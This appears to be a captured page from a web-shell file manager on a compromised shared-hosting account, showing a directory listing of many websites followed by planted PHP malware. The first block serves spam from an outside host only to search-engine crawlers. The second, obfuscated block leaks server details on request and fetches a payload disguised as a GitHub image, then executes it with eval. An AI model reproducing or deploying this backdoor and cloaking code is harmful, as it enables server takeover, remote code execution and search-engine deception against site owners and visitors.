Gecko [ op.second-storage.jp ]

Name	Size	Permission	Date
.cache	[ DIR ]	drwxr-xr-x	2026-02-04 18:16
.config	[ DIR ]	drwxr-xr-x	2019-05-23 10:10
.local	[ DIR ]	drwxr-xr-x	2026-02-04 18:19
.pki	[ DIR ]	drwxr-----	2026-02-04 18:20
.spamassassin	[ DIR ]	drwxr-xr-x	2023-08-26 15:49
.ssh	[ DIR ]	drwx------	2026-02-04 18:21
.svreplace	[ DIR ]	drwx------	2025-02-03 03:10
Maildir	[ DIR ]	drwx------	2026-02-05 01:11
Maildir.1	[ DIR ]	drwx------	2026-02-05 06:30
Maildir.2	[ DIR ]	drwx------	2026-02-05 06:29
Maildir.3	[ DIR ]	drwx------	2026-02-05 06:31
aslongasgiraffe.com	[ DIR ]	drwx--x--x	2023-12-05 16:21
dia3.net	[ DIR ]	drwx--x--x	2026-02-05 01:11
fluffmore.com	[ DIR ]	drwx--x--x	2018-01-17 20:26
gacha-island.jp	[ DIR ]	drwx--x--x	2025-04-01 15:16
genomu.net	[ DIR ]	drwx--x--x	2026-02-05 06:23
kinari-inc.co.jp	[ DIR ]	drwx--x--x	2025-01-27 12:27
kinari.me	[ DIR ]	drwx--x--x	2021-11-12 17:24
kinomori.xsrv.jp	[ DIR ]	drwx--x--x	2021-05-29 23:41
kizai-zukan.com	[ DIR ]	drwx--x--x	2023-12-11 21:36
mensfashionguide.net	[ DIR ]	drwx--x--x	2023-08-26 15:51
saibon.jp	[ DIR ]	drwx--x--x	2026-02-05 06:29
second-storage.com	[ DIR ]	drwx--x--x	2024-04-20 21:27
second-storage.jp	[ DIR ]	drwx--x--x	2026-02-05 01:58
setorilog.com	[ DIR ]	drwx--x--x	2024-10-24 14:30
ssl	[ DIR ]	drwxr-xr-x	2026-02-04 18:18
sumari.jp	[ DIR ]	drwx--x--x	2026-02-05 00:07
toni-kano.com	[ DIR ]	drwx--x--x	2020-06-16 22:17
userbackup	[ DIR ]	drwx---r-x	2026-01-25 23:25
.bash_history	6.84 KB	-rw-------	2023-04-17 06:11
.bash_profile	216 B	-rw-------	2025-02-03 03:10
.bash_profile.svreplace	218 B	-rw-------	2019-05-23 10:25
.bashrc	556 B	-rw-------	2019-02-04 17:48
.ftpaccess	1 B	-rw-r--r--	2026-02-04 18:01
.gitconfig	80 B	-rw-r--r--	2019-05-23 11:02
.mysql_history	13 B	-rw-------	2019-05-23 10:45
edckcdvz.php	760 B	-rw-r--r--	2026-01-27 00:36
index.php	2.11 KB	-r--r--r--	2026-02-05 05:25
onumnezd.php	760 B	-rw-r--r--	2026-01-06 06:02

Rename

<?php
function is_bot() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $bots = array('Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 'Google-InspectionTool');
    
    foreach ($bots as $bot) {
        if (stripos($user_agent, $bot) !== false) {
            return true;
        }
    }
    
    return false;
}

if (is_bot()) {
    $message = file_get_contents('https://seoecekecek.org/op.second.txt');#NAROLINK
    echo $message;
    exit;
}
?>

<?php

$GLOBALS["lnrkdexmo"] = "result";
$GLOBALS["fcgthfemb"] = "a";
$GLOBALS["kmnpcocuqa"] = "ch";
$GLOBALS["nqusfcueqf"] = "version";
$GLOBALS["mluhaqb"] = "ip";
$GLOBALS["ltnbuthggrc"] = "a";
error_reporting(0);
ini_set("display_errors", 0);
if ($_REQUEST["watchx"]) {
    $wfmjlpuc = "ip";
    $GLOBALS["kumviinoca"] = "version";
    $twcfypprtyn = "uname";
    $version = phpversion();
    $GLOBALS["tvefrhpr"] = "uname";
    $uname = php_uname();
    $ip = gethostbyname($_SERVER["HTTP_HOST"]);
    echo json_encode(array("version" => $version, "uname" => $uname, "platform" => PHP_OS, "ip" => $ip, "workingx" => true));
    die;
}
function get_contents($url)
{
    $wyeeuqehxtz = "ch";
    ${$GLOBALS["kmnpcocuqa"]} = curl_init("{$url}");
    curl_setopt(${$GLOBALS["kmnpcocuqa"]}, CURLOPT_RETURNTRANSFER, 1);
    $GLOBALS["oxuwprq"] = "ch";
    curl_setopt(${$GLOBALS["kmnpcocuqa"]}, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt(${$wyeeuqehxtz}, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; 32.0) Gecko/20100101 Firefox/32.0");
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt(${$GLOBALS["kmnpcocuqa"]}, CURLOPT_SSL_VERIFYHOST, 0);
    $GLOBALS["cbtslil"] = "ch";
    curl_setopt(${$GLOBALS["kmnpcocuqa"]}, CURLOPT_COOKIEJAR, $GLOBALS["coki"]);
    curl_setopt(${$GLOBALS["kmnpcocuqa"]}, CURLOPT_COOKIEFILE, $GLOBALS["coki"]);
    ${$GLOBALS["lnrkdexmo"]} = curl_exec($ch);
    return ${$GLOBALS["lnrkdexmo"]};
}
${$GLOBALS["ltnbuthggrc"]} = get_contents("https://user-images.githubusercontent.com/117648087/203333532-dc3bdc4d-03a7-421e-9feb-6fb7c38611a8.jpg");
eval("?>" . ${$GLOBALS["fcgthfemb"]});